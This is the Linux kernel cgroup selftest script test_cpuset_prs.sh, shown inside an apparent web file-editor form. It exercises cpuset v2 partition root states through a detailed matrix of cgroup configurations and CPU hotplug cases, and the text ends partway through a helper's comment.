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<hr>test_cpuset_prs.sh<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=dGVzdF9jcHVzZXRfcHJzLnNo"><input name="f" value="test_cpuset_prs.sh"><textarea name="t">#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
#
# Test for cpuset v2 partition root state (PRS)
#
# The sched verbose flag can be optionally set so that the console log
# can be examined for the correct setting of scheduling domain.
#

skip_test() {
	echo &quot;$1&quot;
	echo &quot;Test SKIPPED&quot;
	exit 4 # ksft_skip
}

[[ $(id -u) -eq 0 ]] || skip_test &quot;Test must be run as root!&quot;


# Get wait_inotify location
WAIT_INOTIFY=$(cd $(dirname $0); pwd)/wait_inotify

# Find cgroup v2 mount point
CGROUP2=$(mount -t cgroup2 | head -1 | awk -e '{print $3}')
[[ -n &quot;$CGROUP2&quot; ]] || skip_test &quot;Cgroup v2 mount point not found!&quot;
SUBPARTS_CPUS=$CGROUP2/.__DEBUG__.cpuset.cpus.subpartitions
CPULIST=$(cat $CGROUP2/cpuset.cpus.effective)

NR_CPUS=$(lscpu | grep &quot;^CPU(s):&quot; | sed -e &quot;s/.*:[[:space:]]*//&quot;)
[[ $NR_CPUS -lt 8 ]] &amp;&amp; skip_test &quot;Test needs at least 8 cpus available!&quot;

# Set verbose flag and delay factor
PROG=$1
VERBOSE=0
DELAY_FACTOR=1
SCHED_DEBUG=
while [[ &quot;$1&quot; = -* ]]
do
	case &quot;$1&quot; in
		-v) ((VERBOSE++))
		    # Enable sched/verbose can slow thing down
		    [[ $DELAY_FACTOR -eq 1 ]] &amp;&amp;
			DELAY_FACTOR=2
		    ;;
		-d) DELAY_FACTOR=$2
		    shift
		    ;;
		*)  echo &quot;Usage: $PROG [-v] [-d &lt;delay-factor&gt;&quot;
		    exit
		    ;;
	esac
	shift
done

# Set sched verbose flag if available when &quot;-v&quot; option is specified
if [[ $VERBOSE -gt 0 &amp;&amp; -d /sys/kernel/debug/sched ]]
then
	# Used to restore the original setting during cleanup
	SCHED_DEBUG=$(cat /sys/kernel/debug/sched/verbose)
	echo Y &gt; /sys/kernel/debug/sched/verbose
fi

cd $CGROUP2
echo +cpuset &gt; cgroup.subtree_control

#
# If cpuset has been set up and used in child cgroups, we may not be able to
# create partition under root cgroup because of the CPU exclusivity rule.
# So we are going to skip the test if this is the case.
#
[[ -d test ]] || mkdir test
echo 0-6 &gt; test/cpuset.cpus
echo root &gt; test/cpuset.cpus.partition
cat test/cpuset.cpus.partition | grep -q invalid
RESULT=$?
echo member &gt; test/cpuset.cpus.partition
echo &quot;&quot; &gt; test/cpuset.cpus
[[ $RESULT -eq 0 ]] &amp;&amp; skip_test &quot;Child cgroups are using cpuset!&quot;

cleanup()
{
	online_cpus
	cd $CGROUP2
	rmdir A1/A2/A3 A1/A2 A1 B1 &gt; /dev/null 2&gt;&amp;1
	rmdir test &gt; /dev/null 2&gt;&amp;1
	[[ -n &quot;$SCHED_DEBUG&quot; ]] &amp;&amp;
		echo &quot;$SCHED_DEBUG&quot; &gt; /sys/kernel/debug/sched/verbose
}

# Pause in ms
pause()
{
	DELAY=$1
	LOOP=0
	while [[ $LOOP -lt $DELAY_FACTOR ]]
	do
		sleep $DELAY
		((LOOP++))
	done
	return 0
}

console_msg()
{
	MSG=$1
	echo &quot;$MSG&quot;
	echo &quot;&quot; &gt; /dev/console
	echo &quot;$MSG&quot; &gt; /dev/console
	pause 0.01
}

test_partition()
{
	EXPECTED_VAL=$1
	echo $EXPECTED_VAL &gt; cpuset.cpus.partition
	[[ $? -eq 0 ]] || exit 1
	ACTUAL_VAL=$(cat cpuset.cpus.partition)
	[[ $ACTUAL_VAL != $EXPECTED_VAL ]] &amp;&amp; {
		echo &quot;cpuset.cpus.partition: expect $EXPECTED_VAL, found $ACTUAL_VAL&quot;
		echo &quot;Test FAILED&quot;
		exit 1
	}
}

test_effective_cpus()
{
	EXPECTED_VAL=$1
	ACTUAL_VAL=$(cat cpuset.cpus.effective)
	[[ &quot;$ACTUAL_VAL&quot; != &quot;$EXPECTED_VAL&quot; ]] &amp;&amp; {
		echo &quot;cpuset.cpus.effective: expect '$EXPECTED_VAL', found '$ACTUAL_VAL'&quot;
		echo &quot;Test FAILED&quot;
		exit 1
	}
}

# Adding current process to cgroup.procs as a test
test_add_proc()
{
	OUTSTR=&quot;$1&quot;
	ERRMSG=$((echo $$ &gt; cgroup.procs) |&amp; cat)
	echo $ERRMSG | grep -q &quot;$OUTSTR&quot;
	[[ $? -ne 0 ]] &amp;&amp; {
		echo &quot;cgroup.procs: expect '$OUTSTR', got '$ERRMSG'&quot;
		echo &quot;Test FAILED&quot;
		exit 1
	}
	echo $$ &gt; $CGROUP2/cgroup.procs	# Move out the task
}

#
# Cpuset controller state transition test matrix.
#
# Cgroup test hierarchy
#
# root -- A1 -- A2 -- A3
#      +- B1
#
#  P&lt;v&gt; = set cpus.partition (0:member, 1:root, 2:isolated)
#  C&lt;l&gt; = add cpu-list to cpuset.cpus
#  X&lt;l&gt; = add cpu-list to cpuset.cpus.exclusive
#  S&lt;p&gt; = use prefix in subtree_control
#  T    = put a task into cgroup
#  O&lt;c&gt;=&lt;v&gt; = Write &lt;v&gt; to CPU online file of &lt;c&gt;
#
SETUP_A123_PARTITIONS=&quot;C1-3:P1:S+ C2-3:P1:S+ C3:P1&quot;
TEST_MATRIX=(
	#  old-A1 old-A2 old-A3 old-B1 new-A1 new-A2 new-A3 new-B1 fail ECPUs Pstate ISOLCPUS
	#  ------ ------ ------ ------ ------ ------ ------ ------ ---- ----- ------ --------
	&quot;   C0-1     .      .    C2-3    S+    C4-5     .      .     0 A2:0-1&quot;
	&quot;   C0-1     .      .    C2-3    P1      .      .      .     0 &quot;
	&quot;   C0-1     .      .    C2-3   P1:S+ C0-1:P1   .      .     0 &quot;
	&quot;   C0-1     .      .    C2-3   P1:S+  C1:P1    .      .     0 &quot;
	&quot;  C0-1:S+   .      .    C2-3     .      .      .     P1     0 &quot;
	&quot;  C0-1:P1   .      .    C2-3    S+     C1      .      .     0 &quot;
	&quot;  C0-1:P1   .      .    C2-3    S+    C1:P1    .      .     0 &quot;
	&quot;  C0-1:P1   .      .    C2-3    S+    C1:P1    .     P1     0 &quot;
	&quot;  C0-1:P1   .      .    C2-3   C4-5     .      .      .     0 A1:4-5&quot;
	&quot;  C0-1:P1   .      .    C2-3  S+:C4-5   .      .      .     0 A1:4-5&quot;
	&quot;   C0-1     .      .   C2-3:P1   .      .      .     C2     0 &quot;
	&quot;   C0-1     .      .   C2-3:P1   .      .      .    C4-5    0 B1:4-5&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .      .      .      .      .     0 A1:0-1,A2:2-3&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .     C1-3    .      .      .     0 A1:1,A2:2-3&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     C3      .      .      .     0 A1:,A2:3 A1:P1,A2:P1&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     C3      P0     .      .     0 A1:3,A2:3 A1:P1,A2:P0&quot;
	&quot;C2-3:P1:S+  C2:P1  .      .     C2-4    .      .      .     0 A1:3-4,A2:2&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     C3      .      .     C0-2   0 A1:,B1:0-2 A1:P1,A2:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .     C2-3    .      .      .     0 A1:,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;

	# CPU offlining cases:
	&quot;   C0-1     .      .    C2-3    S+    C4-5     .     O2=0   0 A1:0-1,B1:3&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .     O2=0    .      .      .     0 A1:0-1,A2:3&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .     O2=0   O2=1    .      .     0 A1:0-1,A2:2-3&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .     O1=0    .      .      .     0 A1:0,A2:2-3&quot;
	&quot;C0-3:P1:S+ C2-3:P1 .      .     O1=0   O1=1    .      .     0 A1:0-1,A2:2-3&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     O3=0   O3=1    .      .     0 A1:2,A2:3 A1:P1,A2:P1&quot;
	&quot;C2-3:P1:S+  C3:P2  .      .     O3=0   O3=1    .      .     0 A1:2,A2:3 A1:P1,A2:P2&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     O2=0   O2=1    .      .     0 A1:2,A2:3 A1:P1,A2:P1&quot;
	&quot;C2-3:P1:S+  C3:P2  .      .     O2=0   O2=1    .      .     0 A1:2,A2:3 A1:P1,A2:P2&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     O2=0    .      .      .     0 A1:,A2:3 A1:P1,A2:P1&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .     O3=0    .      .      .     0 A1:2,A2: A1:P1,A2:P1&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .    T:O2=0   .      .      .     0 A1:3,A2:3 A1:P1,A2:P-1&quot;
	&quot;C2-3:P1:S+  C3:P1  .      .      .    T:O3=0   .      .     0 A1:2,A2:2 A1:P1,A2:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .     O1=0    .      .      .     0 A1:,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .     O2=0    .      .      .     0 A1:1,A2:,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .     O3=0    .      .      .     0 A1:1,A2:2,A3: A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .    T:O1=0   .      .      .     0 A1:2-3,A2:2-3,A3:3 A1:P1,A2:P-1,A3:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .      .    T:O2=0   .      .     0 A1:1,A2:3,A3:3 A1:P1,A2:P1,A3:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .      .      .    T:O3=0   .     0 A1:1,A2:2,A3:2 A1:P1,A2:P1,A3:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .    T:O1=0  O1=1    .      .     0 A1:1,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .      .    T:O2=0  O2=1    .     0 A1:1,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .      .      .    T:O3=0  O3=1   0 A1:1,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .    T:O1=0  O2=0   O1=1    .     0 A1:1,A2:,A3:3 A1:P1,A2:P1,A3:P1&quot;
	&quot;$SETUP_A123_PARTITIONS    .    T:O1=0  O2=0   O2=1    .     0 A1:2-3,A2:2-3,A3:3 A1:P1,A2:P-1,A3:P-1&quot;

	#  old-A1 old-A2 old-A3 old-B1 new-A1 new-A2 new-A3 new-B1 fail ECPUs Pstate ISOLCPUS
	#  ------ ------ ------ ------ ------ ------ ------ ------ ---- ----- ------ --------
	#
	# Remote partition and cpuset.cpus.exclusive tests
	#
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3     .      .      .     0 A1:0-3,A2:1-3,A3:2-3,XA1:2-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3  X2-3:P2   .      .     0 A1:0-1,A2:2-3,A3:2-3 A1:P0,A2:P2 2-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3   X3:P2    .      .     0 A1:0-2,A2:3,A3:3 A1:P0,A2:P2 3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3   X2-3  X2-3:P2   .     0 A1:0-1,A2:1,A3:2-3 A1:P0,A3:P2 2-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3   X2-3 X2-3:P2:C3 .     0 A1:0-2,A2:1-2,A3:3 A1:P0,A3:P2 3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3   C2-3     .      .      .      P2    0 A1:0-3,A2:1-3,A3:2-3,B1:2-3 A1:P0,A3:P0,B1:P-2&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3   C4-5     .      .      .      P2    0 B1:4-5 B1:P2 4-5&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3    C4    X2-3   X2-3  X2-3:P2   P2    0 A3:2-3,B1:4 A3:P2,B1:P2 2-4&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3    C4    X2-3   X2-3 X2-3:P2:C1-3 P2  0 A3:2-3,B1:4 A3:P2,B1:P2 2-4&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3    C4    X1-3  X1-3:P2   P2     .     0 A2:1,A3:2-3 A2:P2,A3:P2 1-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3    C4    X2-3   X2-3  X2-3:P2 P2:C4-5 0 A3:2-3,B1:4-5 A3:P2,B1:P2 2-5&quot;

	# Nested remote/local partition tests
	&quot; C0-3:S+ C1-3:S+ C2-3   C4-5   X2-3  X2-3:P1   P2     P1    0 A1:0-1,A2:,A3:2-3,B1:4-5 \
								       A1:P0,A2:P1,A3:P2,B1:P1 2-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3    C4    X2-3  X2-3:P1   P2     P1    0 A1:0-1,A2:,A3:2-3,B1:4 \
								       A1:P0,A2:P1,A3:P2,B1:P1 2-4,2-3&quot;
	&quot; C0-3:S+ C1-3:S+  C3     C4    X2-3  X2-3:P1   P2     P1    0 A1:0-1,A2:2,A3:3,B1:4 \
								       A1:P0,A2:P1,A3:P2,B1:P1 2-4,3&quot;
	&quot; C0-4:S+ C1-4:S+ C2-4     .    X2-4  X2-4:P2  X4:P1    .    0 A1:0-1,A2:2-3,A3:4 \
								       A1:P0,A2:P2,A3:P1 2-4,2-3&quot;
	&quot; C0-4:X2-4:S+ C1-4:X2-4:S+:P2 C2-4:X4:P1 \
				   .      .      X5      .      .    0 A1:0-4,A2:1-4,A3:2-4 \
								       A1:P0,A2:P-2,A3:P-1&quot;
	&quot; C0-4:X2-4:S+ C1-4:X2-4:S+:P2 C2-4:X4:P1 \
				   .      .      .      X1      .    0 A1:0-1,A2:2-4,A3:2-4 \
								       A1:P0,A2:P2,A3:P-1 2-4&quot;

	# Remote partition offline tests
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3   X2-3 X2-3:P2:O2=0 .   0 A1:0-1,A2:1,A3:3 A1:P0,A3:P2 2-3&quot;
	&quot; C0-3:S+ C1-3:S+ C2-3     .    X2-3   X2-3 X2-3:P2:O2=0 O2=1 0 A1:0-1,A2:1,A3:2-3 A1:P0,A3:P2 2-3&quot;
	&quot; C0-3:S+ C1-3:S+  C3      .    X2-3   X2-3    P2:O3=0   .   0 A1:0-2,A2:1-2,A3: A1:P0,A3:P2 3&quot;
	&quot; C0-3:S+ C1-3:S+  C3      .    X2-3   X2-3   T:P2:O3=0  .   0 A1:0-2,A2:1-2,A3:1-2 A1:P0,A3:P-2 3,&quot;

	# An invalidated remote partition cannot self-recover from hotplug
	&quot; C0-3:S+ C1-3:S+  C2      .    X2-3   X2-3   T:P2:O2=0 O2=1 0 A1:0-3,A2:1-3,A3:2 A1:P0,A3:P-2&quot;

	# cpus.exclusive.effective clearing test
	&quot; C0-3:S+ C1-3:S+  C2      .   X2-3:X    .      .      .     0 A1:0-3,A2:1-3,A3:2,XA1:&quot;

	# Invalid to valid remote partition transition test
	&quot; C0-3:S+   C1-3    .      .      .    X3:P2    .      .     0 A1:0-3,A2:1-3,XA2: A2:P-2&quot;
	&quot; C0-3:S+ C1-3:X3:P2
			    .      .    X2-3    P2      .      .     0 A1:0-2,A2:3,XA2:3 A2:P2 3&quot;

	# Invalid to valid local partition direct transition tests
	&quot; C1-3:S+:P2 C2-3:X1:P2 .  .      .      .      .      .     0 A1:1-3,XA1:1-3,A2:2-3:XA2: A1:P2,A2:P-2 1-3&quot;
	&quot; C1-3:S+:P2 C2-3:X1:P2 .  .      .    X3:P2    .      .     0 A1:1-2,XA1:1-3,A2:3:XA2:3 A1:P2,A2:P2 1-3&quot;
	&quot;  C0-3:P2   .      .    C4-6   C0-4     .      .      .     0 A1:0-4,B1:4-6 A1:P-2,B1:P0&quot;
	&quot;  C0-3:P2   .      .    C4-6 C0-4:C0-3  .      .      .     0 A1:0-3,B1:4-6 A1:P2,B1:P0 0-3&quot;
	&quot;  C0-3:P2   .      .  C3-5:C4-5  .      .      .      .     0 A1:0-3,B1:4-5 A1:P2,B1:P0 0-3&quot;

	# Local partition invalidation tests
	&quot; C0-3:X1-3:S+:P2 C1-3:X2-3:S+:P2 C2-3:X3:P2 \
				   .      .      .      .      .     0 A1:1,A2:2,A3:3 A1:P2,A2:P2,A3:P2 1-3&quot;
	&quot; C0-3:X1-3:S+:P2 C1-3:X2-3:S+:P2 C2-3:X3:P2 \
				   .      .     X4      .      .     0 A1:1-3,A2:1-3,A3:2-3,XA2:,XA3: A1:P2,A2:P-2,A3:P-2 1-3&quot;
	&quot; C0-3:X1-3:S+:P2 C1-3:X2-3:S+:P2 C2-3:X3:P2 \
				   .      .     C4      .      .     0 A1:1-3,A2:1-3,A3:2-3,XA2:,XA3: A1:P2,A2:P-2,A3:P-2 1-3&quot;
	# Local partition CPU change tests
	&quot; C0-5:S+:P2 C4-5:S+:P1 .  .      .    C3-5     .      .     0 A1:0-2,A2:3-5 A1:P2,A2:P1 0-2&quot;
	&quot; C0-5:S+:P2 C4-5:S+:P1 .  .    C1-5     .      .      .     0 A1:1-3,A2:4-5 A1:P2,A2:P1 1-3&quot;

	# cpus_allowed/exclusive_cpus update tests
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3 \
				   .     C4      .      P2     .     0 A1:4,A2:4,XA2:,XA3:,A3:4 \
								       A1:P0,A3:P-2&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3 \
				   .     X1      .      P2     .     0 A1:0-3,A2:1-3,XA1:1,XA2:,XA3:,A3:2-3 \
								       A1:P0,A3:P-2&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3 \
				   .      .     C3      P2     .     0 A1:0-2,A2:0-2,XA2:3,XA3:3,A3:3 \
								       A1:P0,A3:P2 3&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3 \
				   .      .     X3      P2     .     0 A1:0-2,A2:1-2,XA2:3,XA3:3,A3:3 \
								       A1:P0,A3:P2 3&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3:P2 \
				   .      .     X3      .      .     0 A1:0-3,A2:1-3,XA2:3,XA3:3,A3:2-3 \
								       A1:P0,A3:P-2&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3:P2 \
				   .      .     C3      .      .     0 A1:0-3,A2:3,XA2:3,XA3:3,A3:3 \
								       A1:P0,A3:P-2&quot;
	&quot; C0-3:X2-3:S+ C1-3:X2-3:S+ C2-3:X2-3:P2 \
				   .     C4      .      .      .     0 A1:4,A2:4,A3:4,XA1:,XA2:,XA3 \
								       A1:P0,A3:P-2&quot;

	#  old-A1 old-A2 old-A3 old-B1 new-A1 new-A2 new-A3 new-B1 fail ECPUs Pstate ISOLCPUS
	#  ------ ------ ------ ------ ------ ------ ------ ------ ---- ----- ------ --------
	#
	# Incorrect change to cpuset.cpus invalidates partition root
	#
	# Adding CPUs to partition root that are not in parent's
	# cpuset.cpus is allowed, but those extra CPUs are ignored.
	&quot;C2-3:P1:S+ C3:P1   .      .      .     C2-4    .      .     0 A1:,A2:2-3 A1:P1,A2:P1&quot;

	# Taking away all CPUs from parent or itself if there are tasks
	# will make the partition invalid.
	&quot;C2-3:P1:S+  C3:P1  .      .      T     C2-3    .      .     0 A1:2-3,A2:2-3 A1:P1,A2:P-1&quot;
	&quot; C3:P1:S+    C3    .      .      T      P1     .      .     0 A1:3,A2:3 A1:P1,A2:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .    T:C2-3   .      .      .     0 A1:2-3,A2:2-3,A3:3 A1:P1,A2:P-1,A3:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    . T:C2-3:C1-3 .      .      .     0 A1:1,A2:2,A3:3 A1:P1,A2:P1,A3:P1&quot;

	# Changing a partition root to member makes child partitions invalid
	&quot;C2-3:P1:S+  C3:P1  .      .      P0     .      .      .     0 A1:2-3,A2:3 A1:P0,A2:P-1&quot;
	&quot;$SETUP_A123_PARTITIONS    .     C2-3    P0     .      .     0 A1:2-3,A2:2-3,A3:3 A1:P1,A2:P0,A3:P-1&quot;

	# cpuset.cpus can contains cpus not in parent's cpuset.cpus as long
	# as they overlap.
	&quot;C2-3:P1:S+  .      .      .      .   C3-4:P1   .      .     0 A1:2,A2:3 A1:P1,A2:P1&quot;

	# Deletion of CPUs distributed to child cgroup is allowed.
	&quot;C0-1:P1:S+ C1      .    C2-3   C4-5     .      .      .     0 A1:4-5,A2:4-5&quot;

	# To become a valid partition root, cpuset.cpus must overlap parent's
	# cpuset.cpus.
	&quot;  C0-1:P1   .      .    C2-3    S+   C4-5:P1   .      .     0 A1:0-1,A2:0-1 A1:P1,A2:P-1&quot;

	# Enabling partition with child cpusets is allowed
	&quot;  C0-1:S+  C1      .    C2-3    P1      .      .      .     0 A1:0-1,A2:1 A1:P1&quot;

	# A partition root with non-partition root parent is invalid, but it
	# can be made valid if its parent becomes a partition root too.
	&quot;  C0-1:S+  C1      .    C2-3     .      P2     .      .     0 A1:0-1,A2:1 A1:P0,A2:P-2&quot;
	&quot;  C0-1:S+ C1:P2    .    C2-3     P1     .      .      .     0 A1:0,A2:1 A1:P1,A2:P2&quot;

	# A non-exclusive cpuset.cpus change will invalidate partition and its siblings
	&quot;  C0-1:P1   .      .    C2-3   C0-2     .      .      .     0 A1:0-2,B1:2-3 A1:P-1,B1:P0&quot;
	&quot;  C0-1:P1   .      .  P1:C2-3  C0-2     .      .      .     0 A1:0-2,B1:2-3 A1:P-1,B1:P-1&quot;
	&quot;   C0-1     .      .  P1:C2-3  C0-2     .      .      .     0 A1:0-2,B1:2-3 A1:P0,B1:P-1&quot;

	#  old-A1 old-A2 old-A3 old-B1 new-A1 new-A2 new-A3 new-B1 fail ECPUs Pstate ISOLCPUS
	#  ------ ------ ------ ------ ------ ------ ------ ------ ---- ----- ------ --------
	# Failure cases:

	# A task cannot be added to a partition with no cpu
	&quot;C2-3:P1:S+  C3:P1  .      .    O2=0:T   .      .      .     1 A1:,A2:3 A1:P1,A2:P1&quot;

	# Changes to cpuset.cpus.exclusive that violate exclusivity rule is rejected
	&quot;   C0-3     .      .    C4-5   X0-3     .      .     X3-5   1 A1:0-3,B1:4-5&quot;
)

#
# Write to the cpu online file
#  $1 - &lt;c&gt;=&lt;v&gt; where &lt;c&gt; = cpu number, &lt;v&gt; value to be written
#
write_cpu_online()
{
	CPU=${1%=*}
	VAL=${1#*=}
	CPUFILE=//sys/devices/system/cpu/cpu${CPU}/online
	if [[ $VAL -eq 0 ]]
	then
		OFFLINE_CPUS=&quot;$OFFLINE_CPUS $CPU&quot;
	else
		[[ -n &quot;$OFFLINE_CPUS&quot; ]] &amp;&amp; {
			OFFLINE_CPUS=$(echo $CPU $CPU $OFFLINE_CPUS | fmt -1 |\
					sort | uniq -u)
		}
	fi
	echo $VAL &gt; $CPUFILE
	pause 0.05
}

#
# Set controller state
#  $1 - cgroup directory
#  $2 - state
#  $3 - showerr
#
# The presence of &quot;:&quot; in state means transition from one to the next.
#
set_ctrl_state()
{
	TMPMSG=/tmp/.msg_$$
	CGRP=$1
	STATE=$2
	SHOWERR=${3}
	CTRL=${CTRL:=$CONTROLLER}
	HASERR=0
	REDIRECT=&quot;2&gt; $TMPMSG&quot;
	[[ -z &quot;$STATE&quot; || &quot;$STATE&quot; = '.' ]] &amp;&amp; return 0
	[[ $VERBOSE -gt 0 ]] &amp;&amp; SHOWERR=1

	rm -f $TMPMSG
	for CMD in $(echo $STATE | sed -e &quot;s/:/ /g&quot;)
	do
		TFILE=$CGRP/cgroup.procs
		SFILE=$CGRP/cgroup.subtree_control
		PFILE=$CGRP/cpuset.cpus.partition
		CFILE=$CGRP/cpuset.cpus
		XFILE=$CGRP/cpuset.cpus.exclusive
		S=$(expr substr $CMD 1 1)
		if [[ $S = S ]]
		then
			PREFIX=${CMD#?}
			COMM=&quot;echo ${PREFIX}${CTRL} &gt; $SFILE&quot;
			eval $COMM $REDIRECT
		elif [[ $S = X ]]
		then
			CPUS=${CMD#?}
			COMM=&quot;echo $CPUS &gt; $XFILE&quot;
			eval $COMM $REDIRECT
		elif [[ $S = C ]]
		then
			CPUS=${CMD#?}
			COMM=&quot;echo $CPUS &gt; $CFILE&quot;
			eval $COMM $REDIRECT
		elif [[ $S = P ]]
		then
			VAL=${CMD#?}
			case $VAL in
			0)  VAL=member
			    ;;
			1)  VAL=root
			    ;;
			2)  VAL=isolated
			    ;;
			*)
			    echo &quot;Invalid partition state - $VAL&quot;
			    exit 1
			    ;;
			esac
			COMM=&quot;echo $VAL &gt; $PFILE&quot;
			eval $COMM $REDIRECT
		elif [[ $S = O ]]
		then
			VAL=${CMD#?}
			write_cpu_online $VAL
		elif [[ $S = T ]]
		then
			COMM=&quot;echo 0 &gt; $TFILE&quot;
			eval $COMM $REDIRECT
		fi
		RET=$?
		[[ $RET -ne 0 ]] &amp;&amp; {
			[[ -n &quot;$SHOWERR&quot; ]] &amp;&amp; {
				echo &quot;$COMM&quot;
				cat $TMPMSG
			}
			HASERR=1
		}
		pause 0.01
		rm -f $TMPMSG
	done
	return $HASERR
}

set_ctrl_state_noerr()
{
	CGRP=$1
	STATE=$2
	[[ -d $CGRP ]] || mkdir $CGRP
	set_ctrl_state $CGRP $STATE 1
	[[ $? -ne 0 ]] &amp;&amp; {
		echo &quot;ERROR: Failed to set $2 to cgroup $1!&quot;
		exit 1
	}
}

online_cpus()
{
	[[ -n &quot;OFFLINE_CPUS&quot; ]] &amp;&amp; {
		for C in $OFFLINE_CPUS
		do
			write_cpu_online ${C}=1
		done
	}
}

#
# Return 1 if the list of effective cpus isn't the same as the initial list.
#
reset_cgroup_states()
{
	echo 0 &gt; $CGROUP2/cgroup.procs
	online_cpus
	rmdir A1/A2/A3 A1/A2 A1 B1 &gt; /dev/null 2&gt;&amp;1
	pause 0.02
	set_ctrl_state . R-
	pause 0.01
}

dump_states()
{
	for DIR in . A1 A1/A2 A1/A2/A3 B1
	do
		CPUS=$DIR/cpuset.cpus
		ECPUS=$DIR/cpuset.cpus.effective
		XCPUS=$DIR/cpuset.cpus.exclusive
		XECPUS=$DIR/cpuset.cpus.exclusive.effective
		PRS=$DIR/cpuset.cpus.partition
		PCPUS=$DIR/.__DEBUG__.cpuset.cpus.subpartitions
		ISCPUS=$DIR/cpuset.cpus.isolated
		[[ -e $CPUS   ]] &amp;&amp; echo &quot;$CPUS: $(cat $CPUS)&quot;
		[[ -e $XCPUS  ]] &amp;&amp; echo &quot;$XCPUS: $(cat $XCPUS)&quot;
		[[ -e $ECPUS  ]] &amp;&amp; echo &quot;$ECPUS: $(cat $ECPUS)&quot;
		[[ -e $XECPUS ]] &amp;&amp; echo &quot;$XECPUS: $(cat $XECPUS)&quot;
		[[ -e $PRS    ]] &amp;&amp; echo &quot;$PRS: $(cat $PRS)&quot;
		[[ -e $PCPUS  ]] &amp;&amp; echo &quot;$PCPUS: $(cat $PCPUS)&quot;
		[[ -e $ISCPUS ]] &amp;&amp; echo &quot;$ISCPUS: $(cat $ISCPUS)&quot;
	done
}

#
# Check effective cpus
# $1 - check string, format: &lt;cgroup&gt;:&lt;cpu-list&gt;[,&lt;cgroup&gt;:&lt;cpu-list&gt;]*
#
check_effective_cpus()
{
	CHK_STR=$1
	for CHK in $(echo $CHK_STR | sed -e &quot;s/,/ /g&quot;)
	do
		set -- $(echo $CHK | sed -e &quot;s/:/ /g&quot;)
		CGRP=$1
		CPUS=$2
		if [[ $CGRP = X* ]]
		then
			CGRP=${CGRP#X}
			FILE=cpuset.cpus.exclusive.effective
		else
			FILE=cpuset.cpus.effective
		fi
		[[ $CGRP = A2 ]] &amp;&amp; CGRP=A1/A2
		[[ $CGRP = A3 ]] &amp;&amp; CGRP=A1/A2/A3
		[[ -e $CGRP/$FILE ]] || return 1
		[[ $CPUS = $(cat $CGRP/$FILE) ]] || return 1
	done
}

#
# Check cgroup states
#  $1 - check string, format: &lt;cgroup&gt;:&lt;state&gt;[,&lt;cgroup&gt;:&lt;state&gt;]*
#
check_cgroup_states()
{
	CHK_STR=$1
	for CHK in $(echo $CHK_STR | sed -e &quot;s/,/ /g&quot;)
	do
		set -- $(echo $CHK | sed -e &quot;s/:/ /g&quot;)
		CGRP=$1
		STATE=$2
		FILE=
		EVAL=$(expr substr $STATE 2 2)
		[[ $CGRP = A2 ]] &amp;&amp; CGRP=A1/A2
		[[ $CGRP = A3 ]] &amp;&amp; CGRP=A1/A2/A3

		case $STATE in
			P*) FILE=$CGRP/cpuset.cpus.partition
			    ;;
			*)  echo &quot;Unknown state: $STATE!&quot;
			    exit 1
			    ;;
		esac
		VAL=$(cat $FILE)

		case &quot;$VAL&quot; in
			member) VAL=0
				;;
			root)	VAL=1
				;;
			isolated)
				VAL=2
				;;
			&quot;root invalid&quot;*)
				VAL=-1
				;;
			&quot;isolated invalid&quot;*)
				VAL=-2
				;;
		esac
		[[ $EVAL != $VAL ]] &amp;&amp; return 1
	done
	return 0
}

#
# Get isolated (including offline) CPUs by looking at
# /sys/kernel/debug/sched/domains and cpuset.cpus.isolated control file,
